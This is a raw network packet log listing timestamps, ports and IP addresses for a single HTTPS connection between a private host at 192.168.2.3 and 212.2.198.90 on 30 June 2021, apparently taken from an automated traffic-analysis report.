Jun 30, 2021 20:06:08.573889017 CEST	49720	443	192.168.2.3	212.2.198.90
Jun 30, 2021 20:06:08.573893070 CEST	443	49720	212.2.198.90	192.168.2.3
Jun 30, 2021 20:06:08.573930025 CEST	49720	443	192.168.2.3	212.2.198.90
Jun 30, 2021 20:06:08.573930979 CEST	443	49720	212.2.198.90	192.168.2.3
Jun 30, 2021 20:06:08.573935032 CEST	443	49720	212.2.198.90	192.168.2.3
Jun 30, 2021 20:06:08.573936939 CEST	443	49720	212.2.198.90	192.168.2.3
Jun 30, 2021 20:06:08.573950052 CEST	443	49720	212.2.198.90	192.168.2.3
Jun 30, 2021 20:06:08.573951006 CEST	49720	443	192.168.2.3	212.2.198.90
Jun 30, 2021 20:06:08.573962927 CEST	443	49720	212.2.198.90	192.168.2.3
Jun 30, 2021 20:06:08.573976040 CEST	443	49720	212.2.198.90	192.168.2.3
Jun 30, 2021 20:06:08.573995113 CEST	443	49720	212.2.198.90	192.168.2.3
Jun 30, 2021 20:06:08.574003935 CEST	49720	443	192.168.2.3	212.2.198.90
Jun 30, 2021 20:06:08.574007034 CEST	443	49720	212.2.198.90	192.168.2.3
Jun 30, 2021 20:06:08.574029922 CEST	443	49720	212.2.198.90	192.168.2.3
Jun 30, 2021 20:06:08.574042082 CEST	49720	443	192.168.2.3	212.2.198.90
Jun 30, 2021 20:06:08.574069977 CEST	49720	443	192.168.2.3	212.2.198.90
Jun 30, 2021 20:06:08.636231899 CEST	443	49720	212.2.198.90	192.168.2.3
Jun 30, 2021 20:06:08.636271000 CEST	443	49720	212.2.198.90	192.168.2.3
Jun 30, 2021 20:06:08.636286020 CEST	443	49720	212.2.198.90	192.168.2.3
Jun 30, 2021 20:06:08.636302948 CEST	443	49720	212.2.198.90	192.168.2.3
Jun 30, 2021 20:06:08.636320114 CEST	443	49720	212.2.198.90	192.168.2.3
Jun 30, 2021 20:06:08.636337996 CEST	443	49720	212.2.198.90	192.168.2.3
Jun 30, 2021 20:06:08.636343956 CEST	49720	443	192.168.2.3	212.2.198.90
Jun 30, 2021 20:06:08.636353970 CEST	443	49720	212.2.198.90	192.168.2.3
Jun 30, 2021 20:06:08.636374950 CEST	443	49720	212.2.198.90	192.168.2.3
Jun 30, 2021 20:06:08.636392117 CEST	443	49720	212.2.198.90	192.168.2.3
Jun 30, 2021 20:06:08.636409044 CEST	443	49720	212.2.198.90	192.168.2.3
Jun 30, 2021 20:06:08.636425972 CEST	443	49720	212.2.198.90	192.168.2.3
Jun 30, 2021 20:06:08.636435032 CEST	49720	443	192.168.2.3	212.2.198.90
Jun 30, 2021 20:06:08.636442900 CEST	443	49720	212.2.198.90	192.168.2.3
Jun 30, 2021 20:06:08.636459112 CEST	443	49720	212.2.198.90	192.168.2.3
Jun 30, 2021 20:06:08.636461020 CEST	49720	443	192.168.2.3	212.2.198.90
Jun 30, 2021 20:06:08.636476994 CEST	443	49720	212.2.198.90	192.168.2.3
Jun 30, 2021 20:06:08.636492968 CEST	49720	443	192.168.2.3	212.2.198.90
Jun 30, 2021 20:06:08.636492968 CEST	443	49720	212.2.198.90	192.168.2.3
Jun 30, 2021 20:06:08.636514902 CEST	443	49720	212.2.198.90	192.168.2.3
Jun 30, 2021 20:06:08.636521101 CEST	49720	443	192.168.2.3	212.2.198.90
Jun 30, 2021 20:06:08.636533976 CEST	443	49720	212.2.198.90	192.168.2.3
Jun 30, 2021 20:06:08.636550903 CEST	443	49720	212.2.198.90	192.168.2.3
Jun 30, 2021 20:06:08.636564016 CEST	49720	443	192.168.2.3	212.2.198.90
Jun 30, 2021 20:06:08.636567116 CEST	443	49720	212.2.198.90	192.168.2.3
Jun 30, 2021 20:06:08.636584997 CEST	443	49720	212.2.198.90	192.168.2.3
Jun 30, 2021 20:06:08.636600971 CEST	443	49720	212.2.198.90	192.168.2.3
Jun 30, 2021 20:06:08.636606932 CEST	49720	443	192.168.2.3	212.2.198.90
Jun 30, 2021 20:06:08.636616945 CEST	443	49720	212.2.198.90	192.168.2.3
Jun 30, 2021 20:06:08.636641026 CEST	443	49720	212.2.198.90	192.168.2.3
Jun 30, 2021 20:06:08.636657953 CEST	443	49720	212.2.198.90	192.168.2.3
Jun 30, 2021 20:06:08.636658907 CEST	49720	443	192.168.2.3	212.2.198.90
Jun 30, 2021 20:06:08.636674881 CEST	443	49720	212.2.198.90	192.168.2.3
Jun 30, 2021 20:06:08.636692047 CEST	443	49720	212.2.198.90	192.168.2.3
Jun 30, 2021 20:06:08.636712074 CEST	443	49720	212.2.198.90	192.168.2.3
Jun 30, 2021 20:06:08.636730909 CEST	443	49720	212.2.198.90	192.168.2.3
Jun 30, 2021 20:06:08.636733055 CEST	49720	443	192.168.2.3	212.2.198.90
Jun 30, 2021 20:06:08.636745930 CEST	443	49720	212.2.198.90	192.168.2.3
Jun 30, 2021 20:06:08.636761904 CEST	49720	443	192.168.2.3	212.2.198.90
Jun 30, 2021 20:06:08.636763096 CEST	443	49720	212.2.198.90	192.168.2.3
Jun 30, 2021 20:06:08.636780977 CEST	443	49720	212.2.198.90	192.168.2.3
Jun 30, 2021 20:06:08.636792898 CEST	49720	443	192.168.2.3	212.2.198.90
Jun 30, 2021 20:06:08.636797905 CEST	443	49720	212.2.198.90	192.168.2.3
Jun 30, 2021 20:06:08.636815071 CEST	443	49720	212.2.198.90	192.168.2.3
Jun 30, 2021 20:06:08.636822939 CEST	49720	443	192.168.2.3	212.2.198.90
Jun 30, 2021 20:06:08.636832952 CEST	443	49720	212.2.198.90	192.168.2.3
Jun 30, 2021 20:06:08.636852980 CEST	443	49720	212.2.198.90	192.168.2.3
Jun 30, 2021 20:06:08.636857986 CEST	49720	443	192.168.2.3	212.2.198.90
Jun 30, 2021 20:06:08.636871099 CEST	443	49720	212.2.198.90	192.168.2.3
Jun 30, 2021 20:06:08.636882067 CEST	49720	443	192.168.2.3	212.2.198.90
Jun 30, 2021 20:06:08.636887074 CEST	443	49720	212.2.198.90	192.168.2.3
Jun 30, 2021 20:06:08.636904001 CEST	443	49720	212.2.198.90	192.168.2.3
Jun 30, 2021 20:06:08.636919975 CEST	443	49720	212.2.198.90	192.168.2.3
Jun 30, 2021 20:06:08.636929035 CEST	49720	443	192.168.2.3	212.2.198.90
Jun 30, 2021 20:06:08.636936903 CEST	443	49720	212.2.198.90	192.168.2.3
Jun 30, 2021 20:06:08.636953115 CEST	443	49720	212.2.198.90	192.168.2.3
Jun 30, 2021 20:06:08.636964083 CEST	49720	443	192.168.2.3	212.2.198.90
Jun 30, 2021 20:06:08.636970043 CEST	443	49720	212.2.198.90	192.168.2.3
Jun 30, 2021 20:06:08.636990070 CEST	443	49720	212.2.198.90	192.168.2.3
Jun 30, 2021 20:06:08.636993885 CEST	49720	443	192.168.2.3	212.2.198.90
Jun 30, 2021 20:06:08.637007952 CEST	443	49720	212.2.198.90	192.168.2.3
Jun 30, 2021 20:06:08.637023926 CEST	49720	443	192.168.2.3	212.2.198.90
Jun 30, 2021 20:06:08.637027025 CEST	443	49720	212.2.198.90	192.168.2.3
Jun 30, 2021 20:06:08.637042999 CEST	443	49720	212.2.198.90	192.168.2.3
Jun 30, 2021 20:06:08.637059927 CEST	443	49720	212.2.198.90	192.168.2.3
Jun 30, 2021 20:06:08.637072086 CEST	49720	443	192.168.2.3	212.2.198.90
Jun 30, 2021 20:06:08.637075901 CEST	443	49720	212.2.198.90	192.168.2.3
Jun 30, 2021 20:06:08.637094975 CEST	443	49720	212.2.198.90	192.168.2.3
Jun 30, 2021 20:06:08.637113094 CEST	443	49720	212.2.198.90	192.168.2.3
Jun 30, 2021 20:06:08.637125969 CEST	443	49720	212.2.198.90	192.168.2.3
Jun 30, 2021 20:06:08.637142897 CEST	49720	443	192.168.2.3	212.2.198.90
Jun 30, 2021 20:06:08.637144089 CEST	443	49720	212.2.198.90	192.168.2.3
Jun 30, 2021 20:06:08.637161016 CEST	443	49720	212.2.198.90	192.168.2.3
Jun 30, 2021 20:06:08.637171030 CEST	49720	443	192.168.2.3	212.2.198.90
Jun 30, 2021 20:06:08.637176991 CEST	443	49720	212.2.198.90	192.168.2.3
Jun 30, 2021 20:06:08.637193918 CEST	443	49720	212.2.198.90	192.168.2.3
Jun 30, 2021 20:06:08.637209892 CEST	49720	443	192.168.2.3	212.2.198.90
Jun 30, 2021 20:06:08.637213945 CEST	443	49720	212.2.198.90	192.168.2.3
Jun 30, 2021 20:06:08.637233019 CEST	443	49720	212.2.198.90	192.168.2.3
Jun 30, 2021 20:06:08.637237072 CEST	49720	443	192.168.2.3	212.2.198.90
Jun 30, 2021 20:06:08.637249947 CEST	443	49720	212.2.198.90	192.168.2.3
Jun 30, 2021 20:06:08.637265921 CEST	49720	443	192.168.2.3	212.2.198.90
Jun 30, 2021 20:06:08.637268066 CEST	443	49720	212.2.198.90	192.168.2.3
Jun 30, 2021 20:06:08.637284994 CEST	443	49720	212.2.198.90	192.168.2.3
Jun 30, 2021 20:06:08.637300968 CEST	443	49720	212.2.198.90	192.168.2.3
Jun 30, 2021 20:06:08.637317896 CEST	443	49720	212.2.198.90	192.168.2.3
Jun 30, 2021 20:06:08.637326956 CEST	49720	443	192.168.2.3	212.2.198.90
Jun 30, 2021 20:06:08.637334108 CEST	443	49720	212.2.198.90	192.168.2.3
Jun 30, 2021 20:06:08.637353897 CEST	443	49720	212.2.198.90	192.168.2.3
Jun 30, 2021 20:06:08.637367010 CEST	49720	443	192.168.2.3	212.2.198.90
Jun 30, 2021 20:06:08.637372017 CEST	443	49720	212.2.198.90	192.168.2.3
Jun 30, 2021 20:06:08.637391090 CEST	443	49720	212.2.198.90	192.168.2.3
Jun 30, 2021 20:06:08.637401104 CEST	49720	443	192.168.2.3	212.2.198.90
Jun 30, 2021 20:06:08.637408972 CEST	443	49720	212.2.198.90	192.168.2.3
Jun 30, 2021 20:06:08.637424946 CEST	443	49720	212.2.198.90	192.168.2.3
Jun 30, 2021 20:06:08.637435913 CEST	49720	443	192.168.2.3	212.2.198.90
Jun 30, 2021 20:06:08.637443066 CEST	443	49720	212.2.198.90	192.168.2.3
Jun 30, 2021 20:06:08.637459993 CEST	443	49720	212.2.198.90	192.168.2.3
Jun 30, 2021 20:06:08.637461901 CEST	49720	443	192.168.2.3	212.2.198.90
Jun 30, 2021 20:06:08.637475967 CEST	443	49720	212.2.198.90	192.168.2.3
Jun 30, 2021 20:06:08.637495995 CEST	443	49720	212.2.198.90	192.168.2.3
Jun 30, 2021 20:06:08.637497902 CEST	49720	443	192.168.2.3	212.2.198.90
Jun 30, 2021 20:06:08.637514114 CEST	443	49720	212.2.198.90	192.168.2.3
Jun 30, 2021 20:06:08.637521982 CEST	49720	443	192.168.2.3	212.2.198.90
Jun 30, 2021 20:06:08.637531042 CEST	443	49720	212.2.198.90	192.168.2.3
Jun 30, 2021 20:06:08.637547016 CEST	443	49720	212.2.198.90	192.168.2.3
Jun 30, 2021 20:06:08.637562037 CEST	443	49720	212.2.198.90	192.168.2.3
Jun 30, 2021 20:06:08.637562037 CEST	49720	443	192.168.2.3	212.2.198.90
Jun 30, 2021 20:06:08.637578964 CEST	443	49720	212.2.198.90	192.168.2.3
Jun 30, 2021 20:06:08.637597084 CEST	443	49720	212.2.198.90	192.168.2.3
Jun 30, 2021 20:06:08.637599945 CEST	49720	443	192.168.2.3	212.2.198.90
Jun 30, 2021 20:06:08.637613058 CEST	443	49720	212.2.198.90	192.168.2.3
Jun 30, 2021 20:06:08.637624979 CEST	49720	443	192.168.2.3	212.2.198.90
Jun 30, 2021 20:06:08.637633085 CEST	443	49720	212.2.198.90	192.168.2.3
Jun 30, 2021 20:06:08.637651920 CEST	443	49720	212.2.198.90	192.168.2.3
Jun 30, 2021 20:06:08.637665987 CEST	49720	443	192.168.2.3	212.2.198.90
Jun 30, 2021 20:06:08.637669086 CEST	443	49720	212.2.198.90	192.168.2.3
Jun 30, 2021 20:06:08.637686014 CEST	443	49720	212.2.198.90	192.168.2.3
Jun 30, 2021 20:06:08.637703896 CEST	443	49720	212.2.198.90	192.168.2.3
Jun 30, 2021 20:06:08.637706995 CEST	49720	443	192.168.2.3	212.2.198.90
Jun 30, 2021 20:06:08.637720108 CEST	443	49720	212.2.198.90	192.168.2.3
Jun 30, 2021 20:06:08.637732029 CEST	49720	443	192.168.2.3	212.2.198.90
Jun 30, 2021 20:06:08.637737036 CEST	443	49720	212.2.198.90	192.168.2.3
Jun 30, 2021 20:06:08.637753010 CEST	443	49720	212.2.198.90	192.168.2.3
Jun 30, 2021 20:06:08.637769938 CEST	49720	443	192.168.2.3	212.2.198.90
Jun 30, 2021 20:06:08.637773991 CEST	443	49720	212.2.198.90	192.168.2.3
Jun 30, 2021 20:06:08.637792110 CEST	443	49720	212.2.198.90	192.168.2.3
Jun 30, 2021 20:06:08.637809038 CEST	443	49720	212.2.198.90	192.168.2.3
Jun 30, 2021 20:06:08.637814999 CEST	49720	443	192.168.2.3	212.2.198.90
Jun 30, 2021 20:06:08.637826920 CEST	443	49720	212.2.198.90	192.168.2.3
Jun 30, 2021 20:06:08.637840033 CEST	49720	443	192.168.2.3	212.2.198.90
Jun 30, 2021 20:06:08.637844086 CEST	443	49720	212.2.198.90	192.168.2.3
Jun 30, 2021 20:06:08.637860060 CEST	443	49720	212.2.198.90	192.168.2.3
Jun 30, 2021 20:06:08.637877941 CEST	443	49720	212.2.198.90	192.168.2.3
Jun 30, 2021 20:06:08.637878895 CEST	49720	443	192.168.2.3	212.2.198.90
Jun 30, 2021 20:06:08.637893915 CEST	443	49720	212.2.198.90	192.168.2.3
Jun 30, 2021 20:06:08.637912989 CEST	443	49720	212.2.198.90	192.168.2.3
Jun 30, 2021 20:06:08.637923956 CEST	49720	443	192.168.2.3	212.2.198.90
Jun 30, 2021 20:06:08.637931108 CEST	443	49720	212.2.198.90	192.168.2.3
Jun 30, 2021 20:06:08.637948990 CEST	443	49720	212.2.198.90	192.168.2.3
Jun 30, 2021 20:06:08.637959957 CEST	49720	443	192.168.2.3	212.2.198.90
Jun 30, 2021 20:06:08.637965918 CEST	443	49720	212.2.198.90	192.168.2.3
Jun 30, 2021 20:06:08.637983084 CEST	443	49720	212.2.198.90	192.168.2.3
Jun 30, 2021 20:06:08.637993097 CEST	49720	443	192.168.2.3	212.2.198.90
Jun 30, 2021 20:06:08.637999058 CEST	443	49720	212.2.198.90	192.168.2.3
Jun 30, 2021 20:06:08.638016939 CEST	443	49720	212.2.198.90	192.168.2.3
Jun 30, 2021 20:06:08.638020992 CEST	49720	443	192.168.2.3	212.2.198.90
Jun 30, 2021 20:06:08.638034105 CEST	443	49720	212.2.198.90	192.168.2.3
Jun 30, 2021 20:06:08.638051987 CEST	49720	443	192.168.2.3	212.2.198.90
Jun 30, 2021 20:06:08.638055086 CEST	443	49720	212.2.198.90	192.168.2.3
Jun 30, 2021 20:06:08.638073921 CEST	443	49720	212.2.198.90	192.168.2.3
Jun 30, 2021 20:06:08.638097048 CEST	443	49720	212.2.198.90	192.168.2.3
Jun 30, 2021 20:06:08.638098001 CEST	49720	443	192.168.2.3	212.2.198.90
Jun 30, 2021 20:06:08.638118029 CEST	443	49720	212.2.198.90	192.168.2.3
Jun 30, 2021 20:06:08.638137102 CEST	443	49720	212.2.198.90	192.168.2.3
Jun 30, 2021 20:06:08.638144016 CEST	49720	443	192.168.2.3	212.2.198.90
Jun 30, 2021 20:06:08.638154030 CEST	443	49720	212.2.198.90	192.168.2.3
Jun 30, 2021 20:06:08.638163090 CEST	49720	443	192.168.2.3	212.2.198.90
Jun 30, 2021 20:06:08.638170958 CEST	443	49720	212.2.198.90	192.168.2.3
Jun 30, 2021 20:06:08.638189077 CEST	443	49720	212.2.198.90	192.168.2.3
Jun 30, 2021 20:06:08.638199091 CEST	49720	443	192.168.2.3	212.2.198.90
Jun 30, 2021 20:06:08.638205051 CEST	443	49720	212.2.198.90	192.168.2.3
Jun 30, 2021 20:06:08.638221025 CEST	443	49720	212.2.198.90	192.168.2.3
Jun 30, 2021 20:06:08.638237000 CEST	443	49720	212.2.198.90	192.168.2.3
Jun 30, 2021 20:06:08.638237000 CEST	49720	443	192.168.2.3	212.2.198.90
Jun 30, 2021 20:06:08.638257027 CEST	443	49720	212.2.198.90	192.168.2.3
Jun 30, 2021 20:06:08.638263941 CEST	49720	443	192.168.2.3	212.2.198.90
Jun 30, 2021 20:06:08.638276100 CEST	443	49720	212.2.198.90	192.168.2.3
Jun 30, 2021 20:06:08.638292074 CEST	443	49720	212.2.198.90	192.168.2.3
Jun 30, 2021 20:06:08.638295889 CEST	49720	443	192.168.2.3	212.2.198.90
Jun 30, 2021 20:06:08.638308048 CEST	443	49720	212.2.198.90	192.168.2.3
Jun 30, 2021 20:06:08.638317108 CEST	49720	443	192.168.2.3	212.2.198.90
Jun 30, 2021 20:06:08.638324976 CEST	443	49720	212.2.198.90	192.168.2.3
Jun 30, 2021 20:06:08.638340950 CEST	443	49720	212.2.198.90	192.168.2.3
Jun 30, 2021 20:06:08.638356924 CEST	443	49720	212.2.198.90	192.168.2.3
Jun 30, 2021 20:06:08.638358116 CEST	49720	443	192.168.2.3	212.2.198.90
Jun 30, 2021 20:06:08.638374090 CEST	443	49720	212.2.198.90	192.168.2.3
Jun 30, 2021 20:06:08.638395071 CEST	443	49720	212.2.198.90	192.168.2.3
Jun 30, 2021 20:06:08.638413906 CEST	443	49720	212.2.198.90	192.168.2.3
Jun 30, 2021 20:06:08.638415098 CEST	49720	443	192.168.2.3	212.2.198.90
Jun 30, 2021 20:06:08.638430119 CEST	443	49720	212.2.198.90	192.168.2.3
Jun 30, 2021 20:06:08.638437986 CEST	49720	443	192.168.2.3	212.2.198.90
Jun 30, 2021 20:06:08.638448000 CEST	443	49720	212.2.198.90	192.168.2.3
Jun 30, 2021 20:06:08.638458014 CEST	49720	443	192.168.2.3	212.2.198.90
Jun 30, 2021 20:06:08.638463974 CEST	443	49720	212.2.198.90	192.168.2.3
Jun 30, 2021 20:06:08.638479948 CEST	443	49720	212.2.198.90	192.168.2.3
Jun 30, 2021 20:06:08.638495922 CEST	443	49720	212.2.198.90	192.168.2.3
Jun 30, 2021 20:06:08.638504982 CEST	49720	443	192.168.2.3	212.2.198.90
Jun 30, 2021 20:06:08.638513088 CEST	443	49720	212.2.198.90	192.168.2.3
Jun 30, 2021 20:06:08.638533115 CEST	49720	443	192.168.2.3	212.2.198.90
Jun 30, 2021 20:06:08.638533115 CEST	443	49720	212.2.198.90	192.168.2.3
Jun 30, 2021 20:06:08.638550997 CEST	443	49720	212.2.198.90	192.168.2.3
Jun 30, 2021 20:06:08.638557911 CEST	49720	443	192.168.2.3	212.2.198.90
Jun 30, 2021 20:06:08.638567924 CEST	443	49720	212.2.198.90	192.168.2.3
Jun 30, 2021 20:06:08.638586044 CEST	443	49720	212.2.198.90	192.168.2.3
Jun 30, 2021 20:06:08.638588905 CEST	49720	443	192.168.2.3	212.2.198.90
Jun 30, 2021 20:06:08.638602972 CEST	443	49720	212.2.198.90	192.168.2.3
Jun 30, 2021 20:06:08.638617992 CEST	49720	443	192.168.2.3	212.2.198.90
Jun 30, 2021 20:06:08.638618946 CEST	443	49720	212.2.198.90	192.168.2.3
Jun 30, 2021 20:06:08.638634920 CEST	443	49720	212.2.198.90	192.168.2.3
Jun 30, 2021 20:06:08.638652086 CEST	443	49720	212.2.198.90	192.168.2.3
Jun 30, 2021 20:06:08.638659954 CEST	49720	443	192.168.2.3	212.2.198.90
Jun 30, 2021 20:06:08.638670921 CEST	443	49720	212.2.198.90	192.168.2.3
Jun 30, 2021 20:06:08.638689041 CEST	443	49720	212.2.198.90	192.168.2.3
Jun 30, 2021 20:06:08.638699055 CEST	49720	443	192.168.2.3	212.2.198.90
Jun 30, 2021 20:06:08.638705969 CEST	443	49720	212.2.198.90	192.168.2.3
Jun 30, 2021 20:06:08.638724089 CEST	443	49720	212.2.198.90	192.168.2.3
Jun 30, 2021 20:06:08.638726950 CEST	49720	443	192.168.2.3	212.2.198.90
Jun 30, 2021 20:06:08.638741016 CEST	443	49720	212.2.198.90	192.168.2.3
Jun 30, 2021 20:06:08.638751984 CEST	49720	443	192.168.2.3	212.2.198.90
Jun 30, 2021 20:06:08.638756037 CEST	443	49720	212.2.198.90	192.168.2.3
Jun 30, 2021 20:06:08.638772964 CEST	443	49720	212.2.198.90	192.168.2.3
Jun 30, 2021 20:06:08.638788939 CEST	443	49720	212.2.198.90	192.168.2.3
Jun 30, 2021 20:06:08.638794899 CEST	49720	443	192.168.2.3	212.2.198.90
Jun 30, 2021 20:06:08.638808966 CEST	443	49720	212.2.198.90	192.168.2.3
Jun 30, 2021 20:06:08.638828039 CEST	443	49720	212.2.198.90	192.168.2.3
Jun 30, 2021 20:06:08.638834000 CEST	49720	443	192.168.2.3	212.2.198.90
Jun 30, 2021 20:06:08.638844013 CEST	443	49720	212.2.198.90	192.168.2.3
Jun 30, 2021 20:06:08.638854980 CEST	49720	443	192.168.2.3	212.2.198.90
Jun 30, 2021 20:06:08.638860941 CEST	443	49720	212.2.198.90	192.168.2.3
Jun 30, 2021 20:06:08.638878107 CEST	443	49720	212.2.198.90	192.168.2.3
Jun 30, 2021 20:06:08.638894081 CEST	443	49720	212.2.198.90	192.168.2.3
Jun 30, 2021 20:06:08.638896942 CEST	49720	443	192.168.2.3	212.2.198.90
Jun 30, 2021 20:06:08.638911963 CEST	443	49720	212.2.198.90	192.168.2.3
Jun 30, 2021 20:06:08.638927937 CEST	443	49720	212.2.198.90	192.168.2.3
Jun 30, 2021 20:06:08.638940096 CEST	49720	443	192.168.2.3	212.2.198.90
Jun 30, 2021 20:06:08.638947010 CEST	443	49720	212.2.198.90	192.168.2.3
Jun 30, 2021 20:06:08.638964891 CEST	443	49720	212.2.198.90	192.168.2.3
Jun 30, 2021 20:06:08.638972998 CEST	49720	443	192.168.2.3	212.2.198.90
Jun 30, 2021 20:06:08.638981104 CEST	443	49720	212.2.198.90	192.168.2.3
Jun 30, 2021 20:06:08.638993025 CEST	49720	443	192.168.2.3	212.2.198.90
Jun 30, 2021 20:06:08.638999939 CEST	443	49720	212.2.198.90	192.168.2.3
Jun 30, 2021 20:06:08.639031887 CEST	49720	443	192.168.2.3	212.2.198.90
Jun 30, 2021 20:06:08.639067888 CEST	49720	443	192.168.2.3	212.2.198.90
Jun 30, 2021 20:06:08.710890055 CEST	443	49720	212.2.198.90	192.168.2.3
Jun 30, 2021 20:06:08.710907936 CEST	443	49720	212.2.198.90	192.168.2.3
Jun 30, 2021 20:06:08.710933924 CEST	443	49720	212.2.198.90	192.168.2.3
Jun 30, 2021 20:06:08.710952044 CEST	443	49720	212.2.198.90	192.168.2.3
Jun 30, 2021 20:06:08.710968971 CEST	443	49720	212.2.198.90	192.168.2.3
Jun 30, 2021 20:06:08.710988045 CEST	443	49720	212.2.198.90	192.168.2.3
Jun 30, 2021 20:06:08.711008072 CEST	443	49720	212.2.198.90	192.168.2.3
Jun 30, 2021 20:06:08.711025953 CEST	443	49720	212.2.198.90	192.168.2.3
Jun 30, 2021 20:06:08.711045027 CEST	443	49720	212.2.198.90	192.168.2.3
Jun 30, 2021 20:06:08.711061001 CEST	443	49720	212.2.198.90	192.168.2.3
Jun 30, 2021 20:06:08.711082935 CEST	443	49720	212.2.198.90	192.168.2.3
Jun 30, 2021 20:06:08.711102009 CEST	443	49720	212.2.198.90	192.168.2.3
Jun 30, 2021 20:06:08.711138964 CEST	443	49720	212.2.198.90	192.168.2.3
Jun 30, 2021 20:06:08.711141109 CEST	49720	443	192.168.2.3	212.2.198.90
Jun 30, 2021 20:06:08.711158037 CEST	443	49720	212.2.198.90	192.168.2.3
Jun 30, 2021 20:06:08.711164951 CEST	49720	443	192.168.2.3	212.2.198.90
Jun 30, 2021 20:06:08.711177111 CEST	443	49720	212.2.198.90	192.168.2.3
Jun 30, 2021 20:06:08.711194038 CEST	443	49720	212.2.198.90	192.168.2.3
Jun 30, 2021 20:06:08.711210966 CEST	49720	443	192.168.2.3	212.2.198.90
Jun 30, 2021 20:06:08.711211920 CEST	443	49720	212.2.198.90	192.168.2.3
Jun 30, 2021 20:06:08.711230040 CEST	443	49720	212.2.198.90	192.168.2.3
Jun 30, 2021 20:06:08.711246967 CEST	443	49720	212.2.198.90	192.168.2.3
Jun 30, 2021 20:06:08.711249113 CEST	49720	443	192.168.2.3	212.2.198.90
Jun 30, 2021 20:06:08.711260080 CEST	443	49720	212.2.198.90	192.168.2.3
Jun 30, 2021 20:06:08.711272001 CEST	443	49720	212.2.198.90	192.168.2.3
Jun 30, 2021 20:06:08.711282015 CEST	49720	443	192.168.2.3	212.2.198.90
Jun 30, 2021 20:06:08.711294889 CEST	443	49720	212.2.198.90	192.168.2.3
Jun 30, 2021 20:06:08.711303949 CEST	49720	443	192.168.2.3	212.2.198.90
Jun 30, 2021 20:06:08.711313963 CEST	443	49720	212.2.198.90	192.168.2.3
Jun 30, 2021 20:06:08.711329937 CEST	443	49720	212.2.198.90	192.168.2.3
Jun 30, 2021 20:06:08.711345911 CEST	443	49720	212.2.198.90	192.168.2.3
Jun 30, 2021 20:06:08.711361885 CEST	443	49720	212.2.198.90	192.168.2.3
Jun 30, 2021 20:06:08.711378098 CEST	443	49720	212.2.198.90	192.168.2.3
Jun 30, 2021 20:06:08.711379051 CEST	49720	443	192.168.2.3	212.2.198.90
Jun 30, 2021 20:06:08.711386919 CEST	49720	443	192.168.2.3	212.2.198.90
Jun 30, 2021 20:06:08.711395025 CEST	443	49720	212.2.198.90	192.168.2.3
Jun 30, 2021 20:06:08.711410999 CEST	443	49720	212.2.198.90	192.168.2.3
Jun 30, 2021 20:06:08.711431026 CEST	443	49720	212.2.198.90	192.168.2.3
Jun 30, 2021 20:06:08.711451054 CEST	49720	443	192.168.2.3	212.2.198.90
Jun 30, 2021 20:06:08.711479902 CEST	49720	443	192.168.2.3	212.2.198.90
Jun 30, 2021 20:06:08.712914944 CEST	443	49720	212.2.198.90	192.168.2.3
Jun 30, 2021 20:06:08.712960958 CEST	443	49720	212.2.198.90	192.168.2.3
Jun 30, 2021 20:06:08.713233948 CEST	49720	443	192.168.2.3	212.2.198.90
Jun 30, 2021 20:06:08.971640110 CEST	49720	443	192.168.2.3	212.2.198.90
Jun 30, 2021 20:06:09.042992115 CEST	443	49720	212.2.198.90	192.168.2.3
Jun 30, 2021 20:06:09.043032885 CEST	443	49720	212.2.198.90	192.168.2.3
Jun 30, 2021 20:06:09.043060064 CEST	443	49720	212.2.198.90	192.168.2.3
Jun 30, 2021 20:06:09.043080091 CEST	443	49720	212.2.198.90	192.168.2.3
Jun 30, 2021 20:06:09.043088913 CEST	49720	443	192.168.2.3	212.2.198.90
Jun 30, 2021 20:06:09.043096066 CEST	443	49720	212.2.198.90	192.168.2.3
Jun 30, 2021 20:06:09.043128014 CEST	49720	443	192.168.2.3	212.2.198.90
Jun 30, 2021 20:06:09.043132067 CEST	49720	443	192.168.2.3	212.2.198.90
Jun 30, 2021 20:06:09.043133974 CEST	443	49720	212.2.198.90	192.168.2.3
Jun 30, 2021 20:06:09.043158054 CEST	443	49720	212.2.198.90	192.168.2.3
Jun 30, 2021 20:06:09.043176889 CEST	443	49720	212.2.198.90	192.168.2.3
Jun 30, 2021 20:06:09.043190956 CEST	443	49720	212.2.198.90	192.168.2.3
Jun 30, 2021 20:06:09.043190956 CEST	49720	443	192.168.2.3	212.2.198.90
Jun 30, 2021 20:06:09.043204069 CEST	443	49720	212.2.198.90	192.168.2.3
Jun 30, 2021 20:06:09.043215990 CEST	443	49720	212.2.198.90	192.168.2.3
Jun 30, 2021 20:06:09.043217897 CEST	49720	443	192.168.2.3	212.2.198.90
Jun 30, 2021 20:06:09.043232918 CEST	443	49720	212.2.198.90	192.168.2.3
Jun 30, 2021 20:06:09.043250084 CEST	443	49720	212.2.198.90	192.168.2.3
Jun 30, 2021 20:06:09.043263912 CEST	49720	443	192.168.2.3	212.2.198.90
Jun 30, 2021 20:06:09.043267012 CEST	443	49720	212.2.198.90	192.168.2.3
Jun 30, 2021 20:06:09.043281078 CEST	443	49720	212.2.198.90	192.168.2.3
Jun 30, 2021 20:06:09.043298006 CEST	443	49720	212.2.198.90	192.168.2.3
Jun 30, 2021 20:06:09.043309927 CEST	49720	443	192.168.2.3	212.2.198.90
Jun 30, 2021 20:06:09.043318033 CEST	443	49720	212.2.198.90	192.168.2.3
Jun 30, 2021 20:06:09.043337107 CEST	443	49720	212.2.198.90	192.168.2.3
Jun 30, 2021 20:06:09.043340921 CEST	49720	443	192.168.2.3	212.2.198.90
Jun 30, 2021 20:06:09.043354988 CEST	443	49720	212.2.198.90	192.168.2.3
Jun 30, 2021 20:06:09.043366909 CEST	49720	443	192.168.2.3	212.2.198.90
Jun 30, 2021 20:06:09.043373108 CEST	443	49720	212.2.198.90	192.168.2.3
Jun 30, 2021 20:06:09.043395042 CEST	443	49720	212.2.198.90	192.168.2.3
Jun 30, 2021 20:06:09.043405056 CEST	49720	443	192.168.2.3	212.2.198.90
Jun 30, 2021 20:06:09.043414116 CEST	443	49720	212.2.198.90	192.168.2.3
Jun 30, 2021 20:06:09.043432951 CEST	443	49720	212.2.198.90	192.168.2.3
Jun 30, 2021 20:06:09.043446064 CEST	49720	443	192.168.2.3	212.2.198.90
Jun 30, 2021 20:06:09.043456078 CEST	443	49720	212.2.198.90	192.168.2.3
Jun 30, 2021 20:06:09.043472052 CEST	49720	443	192.168.2.3	212.2.198.90
Jun 30, 2021 20:06:09.043473959 CEST	443	49720	212.2.198.90	192.168.2.3
Jun 30, 2021 20:06:09.043489933 CEST	443	49720	212.2.198.90	192.168.2.3
Jun 30, 2021 20:06:09.043493986 CEST	49720	443	192.168.2.3	212.2.198.90
